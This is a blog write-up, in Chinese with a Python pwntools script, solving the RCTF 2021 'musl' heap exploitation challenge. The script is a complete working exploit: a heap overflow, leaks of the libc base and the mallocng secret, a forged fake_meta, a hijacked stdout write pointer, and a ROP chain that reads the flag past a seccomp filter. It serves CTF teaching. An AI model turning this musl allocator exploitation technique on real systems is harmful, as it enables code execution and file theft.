[PWN] musl - xf1les xp0int Posted on Sep 14 2021 ``` RCTF 2021 musl Point:588 Solved:15 [1ST BLOOD] easy musl-libc challenge flag is in /home/ctf/flag/, but there seems to be something wrong with its filename nc 123.60.25.24 12345 https://adworld.xctf.org.cn/media/uploads/task/6f6a79d555bc4d7283d401acff88dd2f.zip ``` ![title](https://leanote.com/api/file/getImage?fileId=614013c2ab64417e0ded6d6d) 当 size 为 0 时,可以堆溢出。 ![title](https://leanote.com/api/file/getImage?fileId=61401db0ab64417e1408298a) 首先把 0x10 group 上面所有 slot 都分配出去(`avail_mask`为 0),使 mallocng 开始重用已释放的 slot。 然后释放并重新分配得到 chunk0,利用堆溢出泄露 chunk0 下面的 chunk 地址(即 libc 地址);利用同样的方法,覆盖 chunk 指针,泄露`__malloc_context->secret`。 ![title](https://leanote.com/api/file/getImage?fileId=61401ff8ab64417e0ded6dfd) 构造 fake_meta,将 fake_meta 地址(`fake_meta_ptr`)放到堆上。修改某个 chunk 的 header(idx 设为 0,offset 指向`fake_meta_ptr`)。释放这个 chunk,将 fake_meta 放入 `__malloc_context->active` bin。 ![title](https://leanote.com/api/file/getImage?fileId=61401f1cab64417e0ded6def) 构造 fake_stdout,将`f->write`指向栈迁移 gadget。修改 `fake_meta->mem` 指向 stdout。分配得到`stdout`后,修改为 fake_stdout,最后通过栈迁移执行 ROP 链。 注意题目只给出了 flag 目录路径`/home/ctf/flag`,没有给出 flag 的文件名。由于程序只禁用了 `execve` 系统调用,我们可以先通过`execveat`系统调用执行`/bin/ls /home/ctf/flag`,获取 flag 文件名,然后再使用 ORW 读取 flag。 FLAG: `RCTF{W3LEC0MET0RcTf2021Musl}` ``` #!/usr/bin/env python3 from pwn import * warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") libc = ELF("./libc.so") p = remote("123.60.25.24", 12345) # ~ p = process("./r") NUL = b'\x00' def add(idx, size, ctx="\n"): p.sendlineafter(">>", '1') p.sendlineafter("?", str(idx)) p.sendlineafter("?", str(size)) p.sendlineafter("?", ctx) def free(idx): p.sendlineafter(">>", '2') p.sendlineafter("?", str(idx)) def show(idx): p.sendlineafter(">>", '3') p.sendlineafter("?", str(idx)) ## allocate all slots from 0x10 group add(0, 1) add(1, 0x888) # 1. Size > 8, bypass context length check in view function # 2. Not in 0x10 group add(2, 1) add(3, 0x999) # Not in 0x10 group for i in range(0xf-3): add(i+4, 1) ## Leak libcbase by overflowing chunk0 free(0) add(0, 0, 'A'*0xf) show(0) p.recvuntil('A'*0xf + '\n') libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x292020 success("libcbase: 0x%lx", libc.address) ## Leak __malloc_context->secret by overwriting chunk3 ptr free(2) add(2, 0, b'A'*0x10 + p64(libc.address + 0x295ae0) + p32(0x100)) show(3) p.recvuntil("Content: ") secret = u64(p.recv(8)) success("secret: 0x%lx", secret) ######################################################################## ## Construct fake_meta sizeclass = 10 fake_mem = libc.address + 0x298da0 fake_meta = flat([ secret, # area->check 0, 0, # meta->prev, meta->next fake_mem, # meta->mem 0, # meta->avail_mask, meta->freed_mask (sizeclass << 6) + 1, # meta->sizeclass, meta->last_idx ]) free(0xf) add(0xf, 0x2000, (0x1000 - 0x30) * NUL + fake_meta) ## Construct fake_meta_arena, overwrite chunk6 header fake_meta_ptr = libc.address + 0x28c008 pp = p64(fake_meta_ptr) pp += 0x14 * NUL pp += p16(0) + p16(1) # reserved=0, idx = 0, offset = 1 pp += p64(libc.address + 0x298dd0) # Do not corrupt chunk6 ptr free(5) add(5, 0, pp) ## Insert fake_meta into __malloc_context->active bin free(6) ######################################################################## ## Build ROP chain chunk0xe = libc.address + 0x287040 rop_chain = chunk0xe + 0x100 bin_ls = chunk0xe + 0x200 argv = chunk0xe + 0x400 envp = chunk0xe + 0x500 flag = chunk0xe + 0x600 rop = ROP(libc) ### ROP1: fexecve(ls_fd, argv, envp) -> /bin/ls /home/ctf/flag/ # ~ rop.open(bin_ls, 0) # ~ rop.fexecve(3, argv, envp) ### ROP2: ORW rop.open(flag, 0) rop.read(3, flag, 0x100) rop.write(1, flag, 0x100) pp = flat({ 0x100: rop.chain(), 0x200: b"/bin/ls\x00", 0x300: b"/home/ctf/flag/\x00", # argv = {"/bin/ls", "/home/ctf/flag/", NULL} 0x400: chunk0xe + 0x200, 0x408: chunk0xe + 0x300, 0x410: 0, # envp = {NULL} 0x500: 0, 0x600: b"/home/ctf/flag/0_l78zflag\x00", }, filler=NUL) free(0xe) add(0xe, 0x1000, pp) ######################################################################## ## Set fake_meta->mem to __stdout_FILE fake_mem = libc.symbols["__stdout_FILE"] fake_meta = flat([ secret, # area->check 0, 0, # meta->prev, meta->next fake_mem-0x50, # meta->mem 1, # meta->avail_mask, meta->freed_mask (0 << 6) + 1, # meta->sizeclass, meta->last_idx ]) free(0xf) add(0xf, 0x2000, (0x1000 - 0x50) * NUL + fake_meta) ### Build fake __stdout_FILE # 0x15238: ret; ret = libc.address + 0x598 # 0x4bcf3: mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]; stack_mig = libc.address + 0x4a5ae stdout = flat({ 0x20: 1, # f->wpos 0x28: 1, # f->wend 0x30: rop_chain, 0x38: ret, 0x48: stack_mig, # f->write }, filler=NUL) free(7) add(7, 0xc0-4, stdout) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [PWN] warmnote - xf1les [PWN] how2heap - xf1les
没有帐号? 立即注册